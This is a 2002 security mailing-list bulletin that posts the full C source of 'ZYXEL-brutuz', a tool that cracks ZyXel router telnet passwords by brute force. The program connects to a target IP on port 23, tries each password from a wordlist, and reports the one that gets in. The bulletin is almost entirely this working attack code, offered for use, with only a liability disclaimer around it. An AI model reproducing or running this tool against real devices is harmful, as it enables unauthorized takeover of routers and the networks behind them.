[TOOL] ZyXel Telnet Service Password Brute Forcer
From: support@securiteam.comDate: 09/26/02
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From: support@securiteam.com To: list@securiteam.com Date: Thu, 26 Sep 2002 11:53:02 +0200 (CEST)
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ZyXel Telnet Service Password Brute Forcer
------------------------------------------------------------------------
DETAILS
The following is a ZyXel telnet password brute forcer.
Tool:
/*
ZYXEL-brutuz v 1.0.0
Password-brutforcer for ZyXel Routerz...
C'ed by [ zWARYAG ] / BetaFly Computer Team
to compile : cc zyxbrut.c -o zyxbrut
Aug : 2k2
thnkzz to DruiD / BetaFly CT.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
void USAGE(void);
int main(int argc, char *argv[])
{
int port=23;
int s;
struct sockaddr_in addr;
int sock;
char pass_buf[30];
FILE *pass_filePtr;
char banner[2048];
char finder[5]="asswo";
if(argc!=3) USAGE();
if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("Socket ERROR");
exit(1);
}
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(argv[1]);
if ((pass_filePtr=fopen(argv[2],"r"))==NULL) {
printf("[ERROR] '%s' could not be opened!\n",argv[2]);
exit(1);
}
fscanf(pass_filePtr,"%s", pass_buf);
while(!feof(pass_filePtr)) {
if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1) {
perror("Socket ERROR");
exit(1);
}
if ((connect(sock,(struct sockaddr *) &addr, sizeof(addr))) == 0) {
bzero(banner,sizeof(banner));
s=send(sock,pass_buf,sizeof(pass_buf),0);
read(sock,banner,sizeof(banner));
s=send(sock,"\n",sizeof("\n"),0);
read(sock,banner,sizeof(banner));
if(strstr(banner,finder)) printf("%s\n",pass_buf);
else {
printf("\nOK! Password iz : %s\n",pass_buf);
close(sock);
exit(0);
}
}
fscanf(pass_filePtr,"%s", pass_buf);
close(sock);
}
return 0;
}
void USAGE()
{
printf("\n");
printf(" ZyXel-Brutuz v.1.0 by [zWARYAG] / BetaFly Computer Team\n");
printf(" Uze : zyxbrut <ip-addr> <passlizt>\n");
printf("\n");
exit(0);
}
ADDITIONAL INFORMATION
The information has been provided by BetaFly Computer Team.
========================================
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====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
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